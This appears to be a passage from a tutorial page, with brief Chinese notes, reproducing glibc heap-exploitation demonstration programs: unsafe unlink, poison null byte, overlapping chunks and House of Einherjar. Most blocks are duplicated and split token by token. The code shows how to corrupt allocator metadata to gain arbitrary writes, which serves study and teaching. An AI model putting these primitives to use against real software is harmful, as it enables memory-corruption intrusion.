chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(
sizeof
(uint64_t)*3);
printf
(
"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"
);
printf
(
"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"
);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(
sizeof
(uint64_t)*2);
printf
(
"Fake chunk fd: %p\n"
,(
void
*) chunk0_ptr[2]);
printf
(
"Fake chunk bk: %p\n\n"
,(
void
*) chunk0_ptr[3]);
printf
(
"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"
);
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf
(
"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"
);
printf
(
"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"
);
chunk1_hdr[0] = malloc_size;
printf
(
"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n"
,(
void
*)chunk1_hdr[0]);
printf
(
"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"
);
chunk1_hdr[1] &= ~1;
printf
(
"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"
);
printf
(
"You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"
);
free
(chunk1_ptr);
printf
(
"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"
);
char
victim_string[8];
strcpy
(victim_string,
"Hello!~"
);
chunk0_ptr[3] = (uint64_t) victim_string;
printf
(
"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"
);
printf
(
"Original value: %s\n"
,victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf
(
"New Value: %s\n"
,victim_string);
// sanity check
assert
(*(
long
*)victim_string == 0x4141414142424242L);
}
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
int
main(){
int
malloc_size = 0x80;
uint64_t* ptr0 = (uint64_t*)
malloc
(malloc_size);
uint64_t* ptr1 = (uint64_t*)
malloc
(malloc_size);
ptr0[2] = (uint64_t)&ptr0 - 3*
sizeof
(uint64_t);
ptr0[3] = (uint64_t)&ptr0 - 2*
sizeof
(uint64_t);
uint64_t* ptr1_head = (uint64_t)ptr1 - 2*
sizeof
(uint64_t);
ptr1_head[0] = malloc_size;
ptr1_head[1] &= ~1;
free
(ptr1);
char
victim[10] =
"hello"
;
ptr0[3]=(uint64_t)victim;
ptr0[0] = 0x4141414141;
printf
(
"%s\n"
,victim);
return
0;
}
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
int
main(){
int
malloc_size = 0x80;
uint64_t* ptr0 = (uint64_t*)
malloc
(malloc_size);
uint64_t* ptr1 = (uint64_t*)
malloc
(malloc_size);
ptr0[2] = (uint64_t)&ptr0 - 3*
sizeof
(uint64_t);
ptr0[3] = (uint64_t)&ptr0 - 2*
sizeof
(uint64_t);
uint64_t* ptr1_head = (uint64_t)ptr1 - 2*
sizeof
(uint64_t);
ptr1_head[0] = malloc_size;
ptr1_head[1] &= ~1;
free
(ptr1);
char
victim[10] =
"hello"
;
ptr0[3]=(uint64_t)victim;
ptr0[0] = 0x4141414141;
printf
(
"%s\n"
,victim);
return
0;
}
使用ubuntu:
16.04
编译并使用第一个源码pwncli改写rpath。
使用ubuntu:
16.04
编译并使用第一个源码pwncli改写rpath。
1
,首先找到要进行unlink的chunk(这里记为P)的前后堆块,
FD
=
P
-
>fd, BK
=
P
-
>bk。
2
,进行安全检查,glibc2.
23
的潦草判断条件如下
FD
-
>bk
=
=
P, BK
-
>fd
=
=
P。
3
,然后执行FD
-
>bk
=
BK, BK
-
>fd
=
FD。
4
,当某个non
-
fast大小的chunk被释放时,就会根据PREV_INUSE位检查其前后堆块是否处于释放状态,如果是就会将前面或后面的堆块取出并与当前堆块合并。取出前面或后面的堆块P的过程就是unlink。
1
,首先找到要进行unlink的chunk(这里记为P)的前后堆块,
FD
=
P
-
>fd, BK
=
P
-
>bk。
2
,进行安全检查,glibc2.
23
的潦草判断条件如下
FD
-
>bk
=
=
P, BK
-
>fd
=
=
P。
3
,然后执行FD
-
>bk
=
BK, BK
-
>fd
=
FD。
4
,当某个non
-
fast大小的chunk被释放时,就会根据PREV_INUSE位检查其前后堆块是否处于释放状态,如果是就会将前面或后面的堆块取出并与当前堆块合并。取出前面或后面的堆块P的过程就是unlink。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int
main()
{
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
printf
(
"Welcome to poison null byte 2.0!\n"
);
printf
(
"Tested in Ubuntu 16.04 64bit.\n"
);
printf
(
"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"
);
printf
(
"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"
);
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void
*barrier;
printf
(
"We allocate 0x100 bytes for 'a'.\n"
);
a = (uint8_t*)
malloc
(0x100);
printf
(
"a: %p\n"
, a);
int
real_a_size = malloc_usable_size(a);
printf
(
"Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n"
, real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*)
malloc
(0x200);
printf
(
"b: %p\n"
, b);
c = (uint8_t*)
malloc
(0x100);
printf
(
"c: %p\n"
, c);
barrier =
malloc
(0x100);
printf
(
"We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n"
, barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf
(
"In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n"
);
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(
size_t
*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free
(b);
printf
(
"b.size: %#lx\n"
, *b_size_ptr);
printf
(
"b.size is: (0x200 + 0x10) | prev_in_use\n"
);
printf
(
"We overflow 'a' with a single null byte into the metadata of 'b'\n"
);
a[real_a_size] = 0;
// <--- THIS IS THE "EXPLOITED BUG"
printf
(
"b.size: %#lx\n"
, *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf
(
"c.prev_size is %#lx\n"
,*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf
(
"We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n"
,
*((
size_t
*)(b-0x8)), *(
size_t
*)(b-0x10 + *((
size_t
*)(b-0x8))));
b1 =
malloc
(0x100);
printf
(
"b1: %p\n"
,b1);
printf
(
"Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n"
,*c_prev_size_ptr);
printf
(
"Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n"
,*(((uint64_t*)c)-4));
printf
(
"We malloc 'b2', our 'victim' chunk.\n"
);
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 =
malloc
(0x80);
printf
(
"b2: %p\n"
,b2);
memset
(b2,
'B'
,0x80);
printf
(
"Current b2 content:\n%s\n"
,b2);
printf
(
"Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"
);
free
(b1);
free
(c);
printf
(
"Finally, we allocate 'd', overlapping 'b2'.\n"
);
d =
malloc
(0x300);
printf
(
"d: %p\n"
,d);
printf
(
"Now 'd' and 'b2' overlap.\n"
);
memset
(d,
'D'
,0x300);
printf
(
"New b2 content:\n%s\n"
,b2);
printf
(
"Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n"
);
assert
(
strstr
(b2,
"DDDDDDDDDDDD"
));
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int
main()
{
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
printf
(
"Welcome to poison null byte 2.0!\n"
);
printf
(
"Tested in Ubuntu 16.04 64bit.\n"
);
printf
(
"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"
);
printf
(
"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"
);
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void
*barrier;
printf
(
"We allocate 0x100 bytes for 'a'.\n"
);
a = (uint8_t*)
malloc
(0x100);
printf
(
"a: %p\n"
, a);
int
real_a_size = malloc_usable_size(a);
printf
(
"Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n"
, real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*)
malloc
(0x200);
printf
(
"b: %p\n"
, b);
c = (uint8_t*)
malloc
(0x100);
printf
(
"c: %p\n"
, c);
barrier =
malloc
(0x100);
printf
(
"We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n"
, barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf
(
"In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n"
);
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(
size_t
*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free
(b);
printf
(
"b.size: %#lx\n"
, *b_size_ptr);
printf
(
"b.size is: (0x200 + 0x10) | prev_in_use\n"
);
printf
(
"We overflow 'a' with a single null byte into the metadata of 'b'\n"
);
a[real_a_size] = 0;
// <--- THIS IS THE "EXPLOITED BUG"
printf
(
"b.size: %#lx\n"
, *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf
(
"c.prev_size is %#lx\n"
,*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf
(
"We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n"
,
*((
size_t
*)(b-0x8)), *(
size_t
*)(b-0x10 + *((
size_t
*)(b-0x8))));
b1 =
malloc
(0x100);
printf
(
"b1: %p\n"
,b1);
printf
(
"Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n"
,*c_prev_size_ptr);
printf
(
"Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n"
,*(((uint64_t*)c)-4));
printf
(
"We malloc 'b2', our 'victim' chunk.\n"
);
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 =
malloc
(0x80);
printf
(
"b2: %p\n"
,b2);
memset
(b2,
'B'
,0x80);
printf
(
"Current b2 content:\n%s\n"
,b2);
printf
(
"Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"
);
free
(b1);
free
(c);
printf
(
"Finally, we allocate 'd', overlapping 'b2'.\n"
);
d =
malloc
(0x300);
printf
(
"d: %p\n"
,d);
printf
(
"Now 'd' and 'b2' overlap.\n"
);
memset
(d,
'D'
,0x300);
printf
(
"New b2 content:\n%s\n"
,b2);
printf
(
"Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n"
);
assert
(
strstr
(b2,
"DDDDDDDDDDDD"
));
}
/*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int
main(
int
argc ,
char
* argv[]){
intptr_t
*p1,*p2,*p3,*p4;
fprintf
(stderr,
"\nThis is a simple chunks overlapping problem\n\n"
);
fprintf
(stderr,
"Let's start to allocate 3 chunks on the heap\n"
);
p1 =
malloc
(0x100 - 8);
p2 =
malloc
(0x100 - 8);
p3 =
malloc
(0x80 - 8);
fprintf
(stderr,
"The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n"
, p1, p2, p3);
memset
(p1,
'1'
, 0x100 - 8);
memset
(p2,
'2'
, 0x100 - 8);
memset
(p3,
'3'
, 0x80 - 8);
fprintf
(stderr,
"\nNow let's free the chunk p2\n"
);
free
(p2);
fprintf
(stderr,
"The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"
);
fprintf
(stderr,
"Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"
);
fprintf
(stderr,
"For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n"
);
fprintf
(stderr,
"To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n"
);
int
evil_chunk_size = 0x181;
int
evil_region_size = 0x180 - 8;
fprintf
(stderr,
"We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n"
,
evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size;
// we are overwriting the "size" field of chunk p2
fprintf
(stderr,
"\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n"
);
fprintf
(stderr,
"This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n"
);
p4 =
malloc
(evil_region_size);
fprintf
(stderr,
"\np4 has been allocated at %p and ends at %p\n"
, (
char
*)p4, (
char
*)p4+evil_region_size);
fprintf
(stderr,
"p3 starts at %p and ends at %p\n"
, (
char
*)p3, (
char
*)p3+0x80-8);
fprintf
(stderr,
"p4 should overlap with p3, in this case p4 includes all p3.\n"
);
fprintf
(stderr,
"\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"
);
fprintf
(stderr,
"Let's run through an example. Right now, we have:\n"
);
fprintf
(stderr,
"p4 = %s\n"
, (
char
*)p4);
fprintf
(stderr,
"p3 = %s\n"
, (
char
*)p3);
fprintf
(stderr,
"\nIf we memset(p4, '4', %d), we have:\n"
, evil_region_size);
memset
(p4,
'4'
, evil_region_size);
fprintf
(stderr,
"p4 = %s\n"
, (
char
*)p4);
fprintf
(stderr,
"p3 = %s\n"
, (
char
*)p3);
fprintf
(stderr,
"\nAnd if we then memset(p3, '3', 80), we have:\n"
);
memset
(p3,
'3'
, 80);
fprintf
(stderr,
"p4 = %s\n"
, (
char
*)p4);
fprintf
(stderr,
"p3 = %s\n"
, (
char
*)p3);
}
/*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int
main(
int
argc ,
char
* argv[]){
intptr_t
*p1,*p2,*p3,*p4;
fprintf
(stderr,
"\nThis is a simple chunks overlapping problem\n\n"
);
fprintf
(stderr,
"Let's start to allocate 3 chunks on the heap\n"
);
p1 =
malloc
(0x100 - 8);
p2 =
malloc
(0x100 - 8);
p3 =
malloc
(0x80 - 8);
fprintf
(stderr,
"The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n"
, p1, p2, p3);
memset
(p1,
'1'
, 0x100 - 8);
memset
(p2,
'2'
, 0x100 - 8);
memset
(p3,
'3'
, 0x80 - 8);
fprintf
(stderr,
"\nNow let's free the chunk p2\n"
);
free
(p2);
fprintf
(stderr,
"The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"
);
fprintf
(stderr,
"Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"
);
fprintf
(stderr,
"For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n"
);
fprintf
(stderr,
"To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n"
);
int
evil_chunk_size = 0x181;
int
evil_region_size = 0x180 - 8;
fprintf
(stderr,
"We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n"
,
evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size;
// we are overwriting the "size" field of chunk p2
fprintf
(stderr,
"\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n"
);
fprintf
(stderr,
"This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n"
);
p4 =
malloc
(evil_region_size);
fprintf
(stderr,
"\np4 has been allocated at %p and ends at %p\n"
, (
char
*)p4, (
char
*)p4+evil_region_size);
fprintf
(stderr,
"p3 starts at %p and ends at %p\n"
, (
char
*)p3, (
char
*)p3+0x80-8);
fprintf
(stderr,
"p4 should overlap with p3, in this case p4 includes all p3.\n"
);
fprintf
(stderr,
"\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"
);
fprintf
(stderr,
"Let's run through an example. Right now, we have:\n"
);
fprintf
(stderr,
"p4 = %s\n"
, (
char
*)p4);
fprintf
(stderr,
"p3 = %s\n"
, (
char
*)p3);
fprintf
(stderr,
"\nIf we memset(p4, '4', %d), we have:\n"
, evil_region_size);
memset
(p4,
'4'
, evil_region_size);
fprintf
(stderr,
"p4 = %s\n"
, (
char
*)p4);
fprintf
(stderr,
"p3 = %s\n"
, (
char
*)p3);
fprintf
(stderr,
"\nAnd if we then memset(p3, '3', 80), we have:\n"
);
memset
(p3,
'3'
, 80);
fprintf
(stderr,
"p4 = %s\n"
, (
char
*)p4);
fprintf
(stderr,
"p3 = %s\n"
, (
char
*)p3);
}
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int
main(){
intptr_t
*p1,*p2,*p3,*p4,*p5,*p6;
unsigned
int
real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int
prev_in_use = 0x1;
fprintf
(stderr,
"\nThis is a simple chunks overlapping problem"
);
fprintf
(stderr,
"\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n"
);
fprintf
(stderr,
"\nLet's start to allocate 5 chunks on the heap:"
);
p1 =
malloc
(1000);
p2 =
malloc
(1000);
p3 =
malloc
(1000);
p4 =
malloc
(1000);
p5 =
malloc
(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
fprintf
(stderr,
"\n\nchunk p1 from %p to %p"
, p1, (unsigned
char
*)p1+malloc_usable_size(p1));
fprintf
(stderr,
"\nchunk p2 from %p to %p"
, p2, (unsigned
char
*)p2+malloc_usable_size(p2));
fprintf
(stderr,
"\nchunk p3 from %p to %p"
, p3, (unsigned
char
*)p3+malloc_usable_size(p3));
fprintf
(stderr,
"\nchunk p4 from %p to %p"
, p4, (unsigned
char
*)p4+malloc_usable_size(p4));
fprintf
(stderr,
"\nchunk p5 from %p to %p\n"
, p5, (unsigned
char
*)p5+malloc_usable_size(p5));
memset
(p1,
'A'
,real_size_p1);
memset
(p2,
'B'
,real_size_p2);
memset
(p3,
'C'
,real_size_p3);
memset
(p4,
'D'
,real_size_p4);
memset
(p5,
'E'
,real_size_p5);
fprintf
(stderr,
"\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n"
);
free
(p4);
fprintf
(stderr,
"\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n"
);
*(unsigned
int
*)((unsigned
char
*)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use +
sizeof
(
size_t
) * 2;
//<--- BUG HERE
fprintf
(stderr,
"\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n"
);
fprintf
(stderr,
"\nThis operation will basically create a big free chunk that wrongly includes p3\n"
);
free
(p2);
fprintf
(stderr,
"\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n"
);
p6 =
malloc
(2000);
real_size_p6 = malloc_usable_size(p6);
fprintf
(stderr,
"\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n"
);
fprintf
(stderr,
"\nchunk p6 from %p to %p"
, p6, (unsigned
char
*)p6+real_size_p6);
fprintf
(stderr,
"\nchunk p3 from %p to %p\n"
, p3, (unsigned
char
*) p3+real_size_p3);
fprintf
(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf
(stderr,
"%s\n"
,(
char
*)p3);
fprintf
(stderr,
"\nLet's write something inside p6\n"
);
memset
(p6,
'F'
,1500);
fprintf
(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf
(stderr,
"%s\n"
,(
char
*)p3);
}
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int
main(){
intptr_t
*p1,*p2,*p3,*p4,*p5,*p6;
unsigned
int
real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int
prev_in_use = 0x1;
fprintf
(stderr,
"\nThis is a simple chunks overlapping problem"
);
fprintf
(stderr,
"\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n"
);
fprintf
(stderr,
"\nLet's start to allocate 5 chunks on the heap:"
);
p1 =
malloc
(1000);
p2 =
malloc
(1000);
p3 =
malloc
(1000);
p4 =
malloc
(1000);
p5 =
malloc
(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
fprintf
(stderr,
"\n\nchunk p1 from %p to %p"
, p1, (unsigned
char
*)p1+malloc_usable_size(p1));
fprintf
(stderr,
"\nchunk p2 from %p to %p"
, p2, (unsigned
char
*)p2+malloc_usable_size(p2));
fprintf
(stderr,
"\nchunk p3 from %p to %p"
, p3, (unsigned
char
*)p3+malloc_usable_size(p3));
fprintf
(stderr,
"\nchunk p4 from %p to %p"
, p4, (unsigned
char
*)p4+malloc_usable_size(p4));
fprintf
(stderr,
"\nchunk p5 from %p to %p\n"
, p5, (unsigned
char
*)p5+malloc_usable_size(p5));
memset
(p1,
'A'
,real_size_p1);
memset
(p2,
'B'
,real_size_p2);
memset
(p3,
'C'
,real_size_p3);
memset
(p4,
'D'
,real_size_p4);
memset
(p5,
'E'
,real_size_p5);
fprintf
(stderr,
"\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n"
);
free
(p4);
fprintf
(stderr,
"\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n"
);
*(unsigned
int
*)((unsigned
char
*)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use +
sizeof
(
size_t
) * 2;
//<--- BUG HERE
fprintf
(stderr,
"\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n"
);
fprintf
(stderr,
"\nThis operation will basically create a big free chunk that wrongly includes p3\n"
);
free
(p2);
fprintf
(stderr,
"\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n"
);
p6 =
malloc
(2000);
real_size_p6 = malloc_usable_size(p6);
fprintf
(stderr,
"\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n"
);
fprintf
(stderr,
"\nchunk p6 from %p to %p"
, p6, (unsigned
char
*)p6+real_size_p6);
fprintf
(stderr,
"\nchunk p3 from %p to %p\n"
, p3, (unsigned
char
*) p3+real_size_p3);
fprintf
(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf
(stderr,
"%s\n"
,(
char
*)p3);
fprintf
(stderr,
"\nLet's write something inside p6\n"
);
memset
(p6,
'F'
,1500);
fprintf
(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf
(stderr,
"%s\n"
,(
char
*)p3);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/
int
main()
{
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
printf
(
"Welcome to House of Einherjar!\n"
);
printf
(
"Tested in Ubuntu 16.04 64bit.\n"
);
printf
(
"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"
);
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf
(
"\nWe allocate 0x38 bytes for 'a'\n"
);
a = (uint8_t*)
malloc
(0x38);
printf
(
"a: %p\n"
, a);
int
real_a_size = malloc_usable_size(a);
printf
(
"Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n"
, real_a_size);
// create a fake chunk
printf
(
"\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"
);
printf
(
"However, you can also create the chunk in the heap or the bss, as long as you know its address\n"
);
printf
(
"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"
);
printf
(
"(although we could do the unsafe unlink technique here in some scenarios)\n"
);
size_t
fake_chunk[6];
fake_chunk[0] = 0x100;
// prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100;
// size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (
size_t
) fake_chunk;
// fwd
fake_chunk[3] = (
size_t
) fake_chunk;
// bck
fake_chunk[4] = (
size_t
) fake_chunk;
//fwd_nextsize
fake_chunk[5] = (
size_t
) fake_chunk;
//bck_nextsize
printf
(
"Our fake chunk at %p looks like:\n"
, fake_chunk);
printf
(
"prev_size (not used): %#lx\n"
, fake_chunk[0]);
printf
(
"size: %#lx\n"
, fake_chunk[1]);
printf
(
"fwd: %#lx\n"
, fake_chunk[2]);
printf
(
"bck: %#lx\n"
, fake_chunk[3]);
printf
(
"fwd_nextsize: %#lx\n"
, fake_chunk[4]);
printf
(
"bck_nextsize: %#lx\n"
, fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*)
malloc
(0xf8);
int
real_b_size = malloc_usable_size(b);
printf
(
"\nWe allocate 0xf8 bytes for 'b'.\n"
);
printf
(
"b: %p\n"
, b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf
(
"\nb.size: %#lx\n"
, *b_size_ptr);
printf
(
"b.size is: (0x100) | prev_inuse = 0x101\n"
);
printf
(
"We overflow 'a' with a single null byte into the metadata of 'b'\n"
);
a[real_a_size] = 0;
printf
(
"b.size: %#lx\n"
, *b_size_ptr);
printf
(
"This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n"
);
printf
(
"If it had been modified, we would need a fake chunk inside "
